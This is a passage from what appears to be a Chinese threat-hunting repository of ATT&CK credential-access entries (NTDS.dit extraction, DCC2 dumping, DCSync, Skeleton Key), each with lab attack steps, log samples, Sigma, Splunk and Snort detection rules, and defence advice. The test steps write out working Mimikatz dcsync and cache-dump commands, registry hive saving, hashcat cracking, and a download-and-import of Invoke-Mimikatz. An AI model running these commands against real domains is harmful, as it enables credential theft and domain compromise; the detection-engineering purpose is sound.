C:\\Temp\\ntds_dump\" quit quit\n    创建者进程名称:C:\\Windows\\System32\\cmd.exe\n  ```\n\n### Sysmon日志\n- 事件ID1：\n  ```\n  事件ID:1\n  OriginalFileName:ntdsutil.exe\n  CommandLine:ntdsutil \"activate instance ntds\" \"ifm\" \"create full C:\\Temp\\ntds_dump\" quit quit\n  CurrentDirectory:C:\\Users\\admin\\\n  User:DOMAIN\\admin\n  Hashes:SHA1=1A2B3C4D5E6F7A8B9C0D1E2F3A4B5C6D7E8F9A0B\n  ParentImage:C:\\Windows\\System32\\cmd.exe\n  ```\n- 事件ID11：\n  ```\n  事件ID:11\n  Image:C:\\Windows\\System32\\ntdsutil.exe\n  TargetFilename:C:\\Temp\\ntds_dump\\ntds.dit\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. 进程监控：\n   - 检测`ntdsutil.exe`的执行，尤其是`ifm`或`create full`参数。\n   - 检测`diskshadow.exe`的执行，特别是调用脚本或`create`命令。\n2. 命令行分析：\n   - 正则表达式匹配：\n     ```regex\n     ntdsutil\\.exe.*(ifm|create\\s+full)\n     ```\n     ```regex\n     diskshadow\\.exe.*(\\/s|create)\n     ```\n3. 文件监控：\n   - 检测非系统路径下的NTDS.dit或`.hiv`文件创建。\n   - 监控对`C:\\Windows\\NTDS\\ntds.dit`的异常访问。\n4. 应用日志分析：\n   - 检测卷影副本相关事件（2001、2003、2005、2006、216、300、302）。\n5. 行为分析：\n   - 检测`secretsdump.py`或类似工具的执行。\n   - 检测导出的NTDS.dit文件被异常程序访问。\n\n### Sigma规则\n优化后的Sigma规则，增强误报过滤：\n```yaml\ntitle: 应用日志检测Ntdsutil获取NTDS.dit文件\nid: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d\ndescription: 检测ntdsutil.exe或卷影副本操作获取NTDS.dit，可能用于凭证窃取\nstatus: experimental\nreferences:\n  - https://blog.csdn.net/Fly_hps/article/details/80641987\ntags:\n  - attack.credential_access\n  - attack.t1003.003\nlogsource:\n  product: windows\n  service: application\ndetection:\n  selection:\n    - EventID: 2005\n      Message|contains: '卷影复制实例.*正在启动'\n    - EventID: 2001\n      Message|contains: '卷影副本实例.*冻结已开始'\n    - EventID: 2003\n      Message|contains: '卷影副本实例.*冻结已停止'\n    - EventID: 2006\n      Message|contains: '卷影复制实例.*已成功完成'\n    - EventID: 216\n      Message|contains: '数据库位置从.*ntds.dit.*更改为.*HarddiskVolumeShadowCopy'\n    - EventID: 300\n      Message|contains: '数据库引擎正在初始化恢复步骤'\n    - EventID: 302\n      Message|contains: '数据库引擎已成功完成恢复步骤'\n  timeframe: 10s\n  condition: all of them\nfields:\n  - EventID\n  - Message\nfalsepositives:\n  - 合法的域控制器备份操作\nlevel: medium\n```\n\n规则说明：\n- 目标：检测与NTDS.dit快照创建相关的卷影副本操作。\n- 过滤：仅适用于域控制器，需结合上下文排除合法备份。\n- 日志来源：Windows应用日志（Microsoft-Windows-ESE）。\n- 误报处理：域控制器备份可能触发，需结合时间窗口和进程行为分析。\n- 级别：标记为“中”优先级，因需结合其他证据确认恶意行为。\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Application\"\n(EventID IN (2001,2003,2005,2006,216,300,302) Message IN (\"*卷影复制实例*\",\"*ntds.dit*\",\"*数据库引擎*\"))\nOR (source=\"WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=1 Image IN (\"*\\ntdsutil.exe\",\"*\\diskshadow.exe\") CommandLine IN (\"*ifm*\",\"*create full*\",\"*/s*\"))\n| fields EventID,Message,Image,CommandLine,User\n```\n\n规则说明：\n- 检测卷影副本相关应用日志事件及`ntdsutil.exe`或`diskshadow.exe`的执行。\n- 减少误报：结合命令行和文件访问行为分析。\n\n### 检测挑战\n- 误报：合法域控制器备份可能触发，需建立备份行为基线。\n- 日志依赖：应用日志需启用，Sysmon可增强检测能力。\n- 权限要求：检测需重点关注域管理员权限的异常使用。\n\n## 防御建议\n1. 监控和日志：\n   - 启用应用日志和命令行审计策略，确保事件ID2001-2006、216、300、302及4688记录完整。\n   - 部署Sysmon，配置针对`ntdsutil.exe`和`diskshadow.exe`的规则，监控文件创建和网络活动。\n2. 权限控制：\n   - 限制域管理员账户的使用，启用多因素认证（MFA）。\n   - 监控域控制器上的高权限账户活动。\n3. 文件保护：\n   - 启用文件完整性监控，检测对`C:\\Windows\\NTDS\\ntds.dit`的异常访问。\n   - 定期备份NTDS.dit到安全位置。\n4. 禁用不必要的VSS：\n   - 在非备份场景中限制卷影副本服务的使用。\n5. 安全更新：\n   - 保持WindowsServer更新，修复潜在漏洞。\n\n## 参考推荐\n- MITREATT&CKT1003.003:  \n  <https://attack.mitre.org/techniques/T1003/003/>\n- 域渗透-获得域控服务器的NTDS.dit文件:  \n  <https://xz.aliyun.com/t/2187>\n- NTDS.dit密码快速提取工具:  \n  <https://www.secpulse.com/archives/6301.html>\n- MITREATT&CK攻击知识库（企业）中文版:  \n  <https://hansight.github.io/#/>\n- Windows应用日志留痕文件:  \n  <https://github.com/12306Bro/Threathunting-book/blob/master/Eventdata/ntds.evtx>\n- Sysmon配置与检测:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>\n- Secretsdump.py:用于NTDS.dit哈希提取。  \n  <https://github.com/SecureAuthCorp/impacket>\n"
  },
  {
    "path": "Windows/08凭证访问/T1003.005-Win-DCC2-mimikatz凭证转储.md",
    "content": "# T1003.005-Win-DCC2-Mimikatz凭证获取\n\n## 描述\n\n凭据转储（Credential Dumping，MITRE ATT&CK T1003.005）涉及攻击者提取缓存的域凭据（Domain Cached Credentials，DCC），以在域控制器不可用时进行身份验证。Windows Vista及以上版本使用DCC2（MS-Cache v2，mscash2）哈希格式，存储于注册表`HKEY_LOCAL_MACHINE\\SECURITY\\Cache`中。DCC2哈希基于PBKDF2算法，较早期mscache1更安全，无法直接用于传递哈希（Pass-the-Hash，PTH）攻击，但可通过密码破解恢复明文密码。攻击者通常以SYSTEM权限使用Mimikatz、secretsdump.py或reg.exe提取缓存凭据。此技术需管理员或SYSTEM权限，常用于横向移动或权限提升。\n\n## 测试案例\n\n### 测试环境\n- 系统：Windows 10或Windows Server 2019（已加入域abcc.org）\n- 工具：Mimikatz、reg.exe\n- 要求：管理员或SYSTEM权限、域环境（abcc.org）、启用Sysmon和Windows安全日志审计\n- 用户：域用户（user1，密码：Password123）\n- 默认缓存：10个用户凭据\n\n### 测试准备\n1. 确认域用户登录：\n   - 使用域账户（如user1@abcc.org）登录系统，确保凭据缓存。\n   - 验证缓存：\n     ```cmd\n     reg query HKEY_LOCAL_MACHINE\\SECURITY\\Cache\n     ```\n2. 确认权限：\n   ```cmd\n   whoami /priv\n   ```\n   - 确保具有`SeDebugPrivilege`或SYSTEM权限。\n3. 启用日志审计：\n   - 组策略：计算机配置 > 策略 > Windows设置 > 安全设置 > 本地策略 > 审核策略 > 进程跟踪、对象访问 > 启用成功和失败审计。\n   - 安装Sysmon：<https://docs.microsoft.com/sysinternals/downloads/sysmon>\n     - 配置：启用事件ID1（进程创建）、13（注册表操作）。\n4. 下载Mimikatz：\n   - URL：<https://github.com/gentilkiwi/mimikatz>\n   - 放置于本地（C:\\Tools\\mimikatz）。\n5. 确保域控制器可访问（生成初始缓存）。\n\n### 测试步骤\n1. **使用Mimikatz提取DCC2哈希**：\n   ```cmd\n   cd C:\\Tools\\mimikatz\n   mimikatz.exe \"privilege::debug\" \"token::elevate\" \"lsadump::cache\" exit\n   ```\n   - 输出示例：\n     ```\n     mscache:\n       * Username: user1\n       * Domain: ABCC\n       * MSCacheV2: <DCC2 Hash>\n     ```\n2. **使用reg.exe导出注册表缓存**：\n   ```cmd\n   reg save HKEY_LOCAL_MACHINE\\SECURITY C:\\Temp\\security.hiv\n   ```\n   - 验证文件：`dir C:\\Temp\\security.hiv`\n3. **离线破解DCC2哈希**（可选）：\n   - 使用hashcat破解：\n     ```cmd\n     hashcat -m 2100 <DCC2 Hash> wordlist.txt\n     ```\n   - 示例格式：`mscash2#user1#<hash>#ABCC`\n\n### 参考资源\n- Mimikatz文档：<https://github.com/gentilkiwi/mimikatz>\n- DCC2算法：<https://openwall.info/wiki/john/MSCash2>\n- MSCache破解：<https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials>\n\n## 检测日志\n\n### 数据来源\n- **Sysmon日志**：\n  - 事件ID1：进程创建（mimikatz.exe、reg.exe）\n  - 事件ID13：注册表操作（HKEY_LOCAL_MACHINE\\SECURITY\\Cache）\n- **Windows安全日志**：\n  - 事件ID4688：进程创建（mimikatz.exe、reg.exe）\n  - 事件ID4673：敏感权限调用（如SeDebugPrivilege）\n  - 事件ID4656：注册表访问（需启用对象访问审计）\n- **文件系统**：\n  - 监控`C:\\Temp\\`或`%temp%`的`.hiv`文件创建\n- **网络流量**（可选）：\n  - 捕获`.hiv`文件传输（SMB 445/TCP）\n\n### 日志示例\n- **Sysmon事件ID1**（Mimikatz进程创建）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"Image\">C:\\Tools\\mimikatz\\mimikatz.exe</Data>\n      <Data Name=\"CommandLine\">mimikatz.exe \"privilege::debug\" \"token::elevate\" \"lsadump::cache\"</Data>\n      <Data Name=\"User\">ABCC\\Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n- **Sysmon事件ID13**（注册表访问）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetObject\">HKLM\\SECURITY\\Cache</Data>\n      <Data Name=\"Image\">C:\\Tools\\mimikatz\\mimikatz.exe</Data>\n      <Data Name=\"User\">ABCC\\Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n- **Windows事件ID4656**（注册表访问，需启用审计）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"ObjectName\">\\REGISTRY\\MACHINE\\SECURITY\\Cache</Data>\n      <Data Name=\"ProcessName\">C:\\Tools\\mimikatz\\mimikatz.exe</Data>\n      <Data Name=\"SubjectUserName\">Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n\n## 测试复现\n\n### 环境配置\n- 系统：Windows 10（加入域abcc.org）\n- 工具：Mimikatz、reg.exe\n- 用户：Administrator（域管理员，密码：Password123）\n- 日志：Sysmon（事件ID1、13）、Windows安全日志\n- 路径：C:\\Temp\\\n\n### 复现步骤\n1. **验证域用户缓存**：\n   ```cmd\n   reg query HKEY_LOCAL_MACHINE\\SECURITY\\Cache\n   ```\n   - 输出：确认缓存存在。\n2. **使用Mimikatz提取DCC2哈希**：\n   ```cmd\n   cd C:\\Tools\\mimikatz\n   mimikatz.exe \"privilege::debug\" \"lsadump::cache\" exit\n   ```\n   - 输出：\n     ```\n     mscache:\n       * Username: user1\n       * Domain: ABCC\n       * MSCacheV2: <DCC2 Hash>\n     ```\n3. **导出注册表**：\n   ```cmd\n   reg save HKEY_LOCAL_MACHINE\\SECURITY C:\\Temp\\security.hiv\n   ```\n   - 输出：`操作成功完成。`\n4. **验证日志**：\n   - Sysmon事件ID13：确认`HKLM\\SECURITY\\Cache`访问。\n   - Sysmon事件ID1：确认`mimikatz.exe`执行。\n\n## 测试留痕\n\n### Sysmon日志\n- **事件ID1**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"Image\">C:\\Tools\\mimikatz\\mimikatz.exe</Data>\n      <Data Name=\"CommandLine\">mimikatz.exe \"privilege::debug\" \"lsadump::cache\"</Data>\n      <Data Name=\"User\">ABCC\\Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID13**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"TargetObject\">HKLM\\SECURITY\\Cache</Data>\n      <Data Name=\"Image\">C:\\Tools\\mimikatz\\mimikatz.exe</Data>\n      <Data Name=\"User\">ABCC\\Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n\n### Windows安全日志\n- **事件ID4656**（需启用审计）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"ObjectName\">\\REGISTRY\\MACHINE\\SECURITY\\Cache</Data>\n      <Data Name=\"ProcessName\">C:\\Tools\\mimikatz\\mimikatz.exe</Data>\n      <Data Name=\"SubjectUserName\">Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4688**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"ProcessName\">C:\\Tools\\mimikatz\\mimikatz.exe</Data>\n      <Data Name=\"CommandLine\">mimikatz.exe \"privilege::debug\" \"lsadump::cache\"</Data>\n      <Data Name=\"SubjectUserName\">Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n\n### 文件系统\n- 文件：`C:\\Temp\\security.hiv`（若使用reg.exe导出）\n\n## 检测规则/思路\n\n### 检测方法\n1. **日志监控**：\n   - Sysmon事件ID13：检测`HKLM\\SECURITY\\Cache`注册表访问。\n   - Sysmon事件ID1：监控`mimikatz.exe`或`reg.exe`异常执行。\n   - Windows事件ID4656：捕获注册表`SECURITY\\Cache`访问（需启用审计）。\n2. **文件监控**：\n   - 审计`C:\\Temp\\`或`%temp%`的`.hiv`文件创建。\n   - 监控`.hiv`文件的异常传输。\n3. **行为分析**：\n   - 检测非管理员用户以SYSTEM权限访问注册表。\n   - 监控短时间内多次注册表`Cache`键访问。\n4. **网络监控**：\n   - 捕获`.hiv`文件传输（SMB 445/TCP）。\n5. **关联分析**：\n   - 结合事件ID4673（SeDebugPrivilege调用），检测Mimikatz执行。\n   - 监控后续密码破解工具（如hashcat）运行。\n\n### Sigma规则\n#### 规则一：Mimikatz提取DCC2哈希\n```yaml\ntitle: Mimikatz提取DCC2哈希检测\nid: n4o5p6q7-8r9s-0t1u-iv0j-7k8l9m0n1o2p\nstatus: stable\ndescription: 检测Mimikatz访问注册表缓存提取DCC2哈希\nreferences:\n  - https://attack.mitre.org/techniques/T1003/005/\ntags:\n  - attack.credential_access\n  - attack.t1003.005\nlogsource:\n  product: windows\n  category: registry_event\ndetection:\n  selection:\n    EventID: 13\n    TargetObject|contains: '\\SECURITY\\Cache'\n    Image|endswith:\n      - '\\mimikatz.exe'\n      - '\\reg.exe'\n  condition: selection\nfields:\n  - EventID\n  - TargetObject\n  - Image\n  - User\nfalsepositives:\n  - 管理员合法注册表操作\nlevel: high\n```\n\n#### 规则二：异常Mimikatz进程\n```yaml\ntitle: Mimikatz异常进程检测\nid: o5p6q7r8-9s0t-1u2v-jw1k-8l9m0n1o2p3q\nstatus: stable\ndescription: 检测Mimikatz执行lsadump::cache命令\nreferences:\n  - https://attack.mitre.org/techniques/T1003/005/\ntags:\n  - attack.credential_access\n  - attack.t1003.005\nlogsource:\n  product: windows\n  category: process_creation\ndetection:\n  selection:\n    EventID|in:\n      - 4688\n      - 1\n    Image|endswith: '\\mimikatz.exe'\n    CommandLine|contains: 'lsadump::cache'\n  condition: selection\nfields:\n  - EventID\n  - Image\n  - CommandLine\n  - User\nfalsepositives:\n  - 安全测试工具使用\nlevel: critical\n```\n\n### Splunk规则\n```spl\nindex=sysmon EventCode=13 TargetObject=\"*\\SECURITY\\Cache*\" (Image=\"*mimikatz.exe\" OR Image=\"*reg.exe\")\nOR (EventCode IN (1,4688) Image=\"*mimikatz.exe\" CommandLine=\"*lsadump::cache*\")\n| fields EventCode,TargetObject,Image,CommandLine,User\n```\n\n规则说明：\n- 检测Mimikatz或reg.exe访问`SECURITY\\Cache`注册表。\n- 聚焦`lsadump::cache`命令，降低误报。\n\n## 防御建议\n1. **权限控制**：\n   - 限制`SeDebugPrivilege`权限，仅授权必要管理员。\n   - 禁止非管理员访问`HKEY_LOCAL_MACHINE\\SECURITY`。\n2. **日志监控**：\n   - 部署Sysmon，启用事件ID1、13。\n   - 启用注册表审计，监控`SECURITY\\Cache`访问。\n   - 使用SIEM关联Mimikatz和注册表操作。\n3. **凭据保护**：\n   - 减少缓存凭据数量（组策略：计算机配置 > 管理模板 > 系统 > 登录 > 缓存的登录次数）。\n   - 启用Credential Guard，保护注册表凭据。\n4. **工具限制**：\n   - 使用AppLocker限制`mimikatz.exe`和`reg.exe`非预期执行。\n   - 监控hashcat等破解工具运行。\n5. **网络防护**：\n   - 限制`.hiv`文件传输（SMB 445/TCP）。\n   - 部署IDS/IPS，检测异常注册表导出。\n\n## 参考推荐\n- MITRE ATT&CK T1003.005:  \n  <https://attack.mitre.org/techniques/T1003/005/>\n- MSCache2算法:  \n  <https://openwall.info/wiki/john/MSCash2>\n- Mimikatz MSCache解析:  \n  <https://baijiahao.baidu.com/s?id=1611304657392579351>\n- MSCache破解:  \n  <https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-and-cracking-mscash-cached-domain-credentials>\n- Mimikatz文档:  \n  <https://github.com/gentilkiwi/mimikatz>\n- Sysmon配置:  \n  <https://github.com/SwiftOnSecurity/sysmon-config>"
  },
  {
    "path": "Windows/08凭证访问/T1003.006-Win-Dcsysnc-凭证转储.md",
    "content": "# T1003.006-Win-基于DCSync凭证获取\n\n## 描述\n\nDCSync（MITRE ATT&CK T1003.006）是一种凭据转储技术，攻击者通过滥用Windows域控制器的目录复制服务远程协议（MS-DRSR），模拟域控制器（DC）行为，提取Active Directory（AD）中的密码数据（如NTLM哈希、Kerberos票据）。此技术利用`GetNCChanges`函数请求AD复制数据，包括高价值账户（如KRBTGT、Administrator）的凭据哈希，可用于创建黄金票据（Golden Ticket）或执行票据传递攻击（Pass-the-Ticket）。DCSync攻击需要高权限（如Administrators、Domain Admins、Enterprise Admins或具有“复制目录更改”权限的账户），通常在杀伤链后期使用，常见于Mimikatz的`lsadump::dcsync`模块。\n\n![img](https://s2.ax1x.com/2019/09/24/uk1Q6x.png)\n\n### DCsync攻击原理\n\n一般来说，DCSYNC攻击的工作方式如下：\n\n1. 发现域控制器以请求复制。\n2. 使用[GetNCChanges](https://wiki.samba.org/index.php/DRSUAPI) 函数请求用户复制 。\n3. DC将复制数据返回给请求者，包括密码哈希值。\n\n\n![img](https://s2.ax1x.com/2019/09/24/uk1ttH.gif)\n\n## 测试案例\n\n### 测试环境\n- 域控制器：Windows Server 2019（dc.abcc.org）\n- 域内主机：Windows 10\n- 工具：Mimikatz、PowerShell（Invoke-Mimikatz）\n- 要求：域管理员权限（Domain Admins）、域环境（abcc.org）、启用Windows安全日志审计\n- 用户：Administrator（测试账户）\n\n### 测试准备\n1. 确认域管理员权限：\n   ```cmd\n   whoami /groups\n   ```\n   - 确保包含`Domain Admins`组。\n2. 启用安全日志审计：\n   - 组策略：计算机配置 > 策略 > Windows设置 > 安全设置 > 本地策略 > 审核策略 > 账户管理、对象访问 > 启用成功和失败审计。\n3. 下载Mimikatz：\n   - URL：<https://github.com/gentilkiwi/mimikatz>\n   - 放置于域内主机（C:\\Tools\\mimikatz）。\n4. 下载Invoke-Mimikatz（PowerShell）：\n   - URL：<https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1>\n   - 保存至本地（C:\\Tools\\Invoke-Mimikatz.ps1）。\n5. 确保域内主机与域控制器网络连通。\n\n### 测试步骤\n1. **使用Mimikatz导出所有用户哈希**（域内主机）：\n   ```cmd\n   cd C:\\Tools\\mimikatz\n   mimikatz.exe \"privilege::debug\" \"lsadump::dcsync /domain:abcc.org /all /csv\" exit\n   ```\n   - 输出示例：\n     ```\n     User,Domain,NTLM\n     Administrator,ABCC,31d6cfe0d16ae931b73c59d7e0c089c0\n     krbtgt,ABCC,aad3b435b51404eeaad3b435b51404ee\n     ```\n2. **使用Mimikatz导出Administrator哈希**：\n   ```cmd\n   mimikatz.exe \"privilege::debug\" \"lsadump::dcsync /domain:abcc.org /user:Administrator /csv\" exit\n   ```\n   - 输出示例：\n     ```\n     User,Domain,NTLM\n     Administrator,ABCC,31d6cfe0d16ae931b73c59d7e0c089c0\n     ```\n3. **使用PowerShell Invoke-Mimikatz导出krbtgt哈希**：\n   ```powershell\n   Ivoke-Mimikatz -Command '\"lsadump::dcsync /user:krbtgt /domain:abcc.org\"'\n   ```\n   - 输出示例：\n     ```\n     * Username : krbtgt\n     * Domain   : ABCC\n     * NTLM     : aad3b435b51404eeaad3b435b51404ee\n     ```\n\n## 检测日志\n\n### 数据来源\n- **Windows安全日志**（域控制器）：\n  - 事件ID4662：对象操作（捕获复制权限访问）\n  - 事件ID4688：进程创建（mimikatz.exe或powershell.exe）\n  - 事件ID4673：敏感权限调用（如SeDebugPrivilege）\n- **Sysmon日志**：\n  - 事件ID1：进程创建（mimikatz.exe、powershell.exe）\n  - 事件ID3：网络连接（与域控制器389/TCP、445/TCP的通信）\n- **网络流量**：\n  - 捕获MS-DRSR协议流量（LDAP 389/TCP、RPC 135/TCP）\n  - 监控异常的GetNCChanges请求\n- **PowerShell日志**：\n  - 事件ID4104：脚本块记录（Invoke-Mimikatz执行）\n\n## 测试复现\n\n### 环境配置\n- 域控制器：Windows Server 2019（dc.abcc.org）\n- 域内主机：Windows 10\n- 工具：Mimikatz、Invoke-Mimikatz\n- 用户：Administrator（Domain Admins成员）\n- 域：abcc.org\n\n### 复现步骤\n1. **本地运行Mimikatz**（域内主机）：\n   ```cmd\n   cd C:\\Tools\\mimikatz\n   mimikatz.exe \"privilege::debug\" \"lsadump::dcsync /domain:abcc.org /user:krbtgt /csv\" exit\n   ```\n   - 输出：\n     ```\n     User,Domain,NTLM\n     krbtgt,ABCC,aad3b435b51404eeaad3b435b51404ee\n     ```\n2. **远程运行Invoke-Mimikatz**（域内主机）：\n   ```powershell\n   Ivoke-WebRequest -Uri https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1 -OutFile C:\\Tools\\Invoke-Mimikatz.ps1\n   Import-Module C:\\Tools\\Invoke-Mimikatz.ps1\n   Invoke-Mimikatz -Command '\"lsadump::dcsync /user:krbtgt /domain:abcc.org\"'\n   ```\n   - 输出：\n     ```\n     * Username : krbtgt\n     * Domain   : ABCC\n     * NTLM     : aad3b435b51404eeaad3b435b51404ee\n     ```\n3. **验证日志**：\n   - 检查域控制器事件ID4662（对象操作，{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}）。\n   - 检查Sysmon事件ID1（mimikatz.exe或powershell.exe）。\n\n## 测试留痕\n\n### Windows安全日志\n- **事件ID4662**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"ObjectType\">Directory Service</Data>\n      <Data Name=\"Properties\">{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}</Data>\n      <Data Name=\"Accesses\">Control Access</Data>\n      <Data Name=\"SubjectUserName\">Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID4688**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"ProcessName\">C:\\Tools\\mimikatz\\mimikatz.exe</Data>\n      <Data Name=\"CommandLine\">mimikatz.exe \"privilege::debug\" \"lsadump::dcsync /domain:abcc.org /all /csv\" exit</Data>\n      <Data Name=\"SubjectUserName\">Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n\n### Sysmon日志\n- **事件ID1**：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"Image\">C:\\Tools\\mimikatz\\mimikatz.exe</Data>\n      <Data Name=\"CommandLine\">mimikatz.exe \"privilege::debug\" \"lsadump::dcsync /domain:abcc.org /all /csv\" exit</Data>\n      <Data Name=\"User\">ABCC\\Administrator</Data>\n    </EventData>\n  </Event>\n  ```\n- **事件ID3**（网络连接）：\n  ```xml\n  <Event>\n    <EventData>\n      <Data Name=\"Image\">C:\\Tools\\mimikatz\\mimikatz.exe</Data>\n      <Data Name=\"DestinationIp\">192.168.1.10</Data>\n      <Data Name=\"DestinationPort\">389</Data>\n    </EventData>\n  </Event>\n  ```\n\n## 检测规则/思路\n\n### 检测方法\n1. **日志监控**：\n   - 监控事件ID4662，检测`{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}`（复制目录更改）或`{89e95b76-444d-4c62-991a-0facbeda640c}`（全部复制）。\n   - 监控事件ID4688，捕获`mimikatz.exe`或`powershell.exe`的异常命令行（如`lsadump::dcsync`）。\n   - 监控事件ID4673，检测`SeDebugPrivilege`调用。\n2. **网络监控**：\n   - 捕获LDAP（389/TCP）或RPC（135/TCP）流量，检测异常的GetNCChanges请求。\n   - 示例Snort规则：\n     ```snort\n     alert tcp any any -> any 389 (msg:\"DCSync LDAP GetNCChanges Attempt\"; content:\"GetNCChanges\"; sid:1000005;)\n     ```\n3. **行为分析**：\n   - 检测非域控制器账户执行复制操作。\n   - 监控短时间内多个账户的哈希提取请求。\n4. **Sysmon增强**：\n   - 事件ID1：监控Mimikatz或PowerShell进程。\n   - 事件ID3：捕获与域控制器的异常连接。\n\n### Sigma规则\n```yaml\ntitle: DCSync复制操作检测\nid: m3n4o5p6-7q8r-9s0t-hu9i-6j7k8l9m0n1o\nstatus: stable\ndescription: 检测Mimikatz或其他工具执行DCSync的复制操作\nreferences:\n  - https://attack.mitre.org/techniques/T1003/006/\n  - https://yojimbosecurity.ninja/dcsync/\ntags:\n  - attack.credential_access\n  - attack.t1003.006\nlogsource:\n  product: windows\n  service: security\ndetection:\n  selection:\n    EventID: 4662\n    ObjectType: 'Directory Service'\n    Accesses: 'Control Access'\n    Properties|contains:\n      - '{1131f6aa-9c07-11d1-f79f-00c04fc2dcd2}'\n      - '{89e95b76-444d-4c62-991a-0facbeda640c}'\n  filter:\n    SubjectUserName|endswith:'$'\n  condition: selection and not filter\nfields:\n  - EventID\n  - SubjectUserName\n  - ObjectType\n  - Properties\nfalsepositives:\n  - 合法域控制器复制操作\nlevel: high\n```\n\n### Splunk规则\n```spl\nindex=windows source=\"WinEventLog:Security\" EventCode=4662 ObjectType=\"Directory Service\" Accesses=\"Control Access\" Properties IN (\"*1131f6aa-9c07-11d1-f79f-00c04fc2dcd2*\",\"*89e95b76-444d-4c62-991a-0facbeda640c*\") NOT SubjectUserName=\"*$\"\n| fields EventCode,SubjectUserName,ObjectType,Properties\n```\n\n规则说明：\n- 检测DCSync的复制操作，聚焦事件ID4662的特定属性。\n- 排除域控制器账户（以$结尾），降低误报。\n\n## 防御建议\n1. **权限管理**：\n   - 最小化“复制目录更改”和“全部复制”权限，仅授权必要账户。\n   - 定期审计Administrators、Domain Admins、Enterprise Admins成员。\n2. **日志监控**：\n   - 启用事件ID4662、4688、4673审计。\n   - 部署Sysmon，监控Mimikatz和PowerShell行为。\n   - 使用SIEM关联复制操作和异常进程。\n3. **网络防护**：\n   - 限制LDAP（389/TCP）和RPC（135/TCP）访问，仅允许域控制器通信。\n   - 部署IDS/IPS，检测GetNCChanges异常请求。\n4. **凭据保护**：\n   - 使用分层账户模型，限制高权限账户登录非域控制器系统。\n   - 启用Credential Guard，保护KRBTGT等账户哈希。\n5. **主动防御**：\n   - 部署诱捕账户，监控异常复制操作。\n   - 使用EDR工具检测Mimikatz或PowerShell异常行为。\n\n## 参考推荐\n- MITRE ATT&CK T1003.006:  \n  <https://attack.mitre.org/techniques/T1003/006/>\n- DCSync介绍:  \n  <https://blog.stealthbits.com/what-is-dcsync/>\n- 域渗透-DCSync:  \n  <https://3gstudent.github.io/3gstudent.github.io/%E5%9F%9F%E6%B8%97%E9%80%8F-DCSync/>\n- DCSync检测:  \n  <https://yojimbosecurity.ninja/dcsync/>\n- MS-DRSR协议:  \n  <https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-drsr/f977faaa-673e-4f66-b9bf-48c640241d47>\n- Invoke-Mimikatz:  \n  <https://github.com/PowerShellMafia/PowerSploit>\n- Active Directory复制:  \n  <https://github.com/hunters-forge/ThreatHunter-Playbook/blob/master/library/active_directory_replication.md>"
  },
  {
    "path": "Windows/08凭证访问/T1098-win-万能密码.md",
    "content": "# T1098-Win-万能密码\n\n## 描述\n\n万能密码（Skeleton Key）是一种账户操作技术（MITRE ATT&CK T1098），通过在域控制器上注入恶意补丁（如使用Mimikatz的`misc::skeleton`功能），为域内所有用户账户设置一个通用密码（如默认的“mimikatz”），允许攻击者以任意域用户身份进行身份验证，而无需知道原始密码。此技术可实现持久化访问、权限提升和横向移动，绕过Kerberos或NTLM认证机制。执行Skeleton Key攻击需要域控制器上的管理员权限，攻击者通常通过已窃取的域管理员凭据或漏洞（如MS14-068）实施。补丁（如KB3011780）可修复相关漏洞，但未修补的系统极易受攻击。\n\n## 测试案例\n\n### 测试环境\n- 域控制器：Windows Server 2008 R2（dc.xiaomi.org，未打补丁KB3011780）\n- 域内主机：Windows 7\n- 工具：Mimikatz（x64）\n- 要求：域管理员权限、域环境（xiaomi.org）、启用Windows安全日志审计\n- 用户：普通用户（xiaomi，密码user123）、管理员（administrator，密码admin.098）\n\n### 测试准备\n1. 确认域管理员权限：\n   ```cmd\n   whoami /all\n   ```\n   - 确保具有Domain Admins权限。\n2. 启用安全日志审计：\n   - 组策略：计算机配置 > 策略 > Windows设置 > 安全设置 > 本地策略 > 审核策略 > 账户管理、进程跟踪 > 启用成功和失败审计。\n3. 下载Mimikatz：\n   - URL：<https://github.com/gentilkiwi/mimikatz>\n   - 放置于域控制器（C:\\Tools\\mimikatz_trunk\\x64）。\n4. 验证域控制器补丁状态：\n   ```powershell\n   Get-HotFix -Id KB3011780\n   ```\n   - 输出为空表示未打补丁。\n5. 确保域内主机与域控制器网络连通。\n\n### 测试步骤\n1. **验证普通用户权限**（域内主机）：\n   ```cmd\n   dir \\\\dc.xiaomi.org\\c$\n   ```\n   - 预期输出：`Access is denied.`\n2. **使用管理员原始密码验证**（域内主机）：\n   ```cmd\n   net use \\\\dc.xiaomi.org\\ipc$ \"admin.098\" /user:xiaomi\\administrator\n   dir \\\\dc.xiaomi.org\\c$\n   ```\n   - 预期输出：列出C$目录内容。\n3. **注入Skeleton 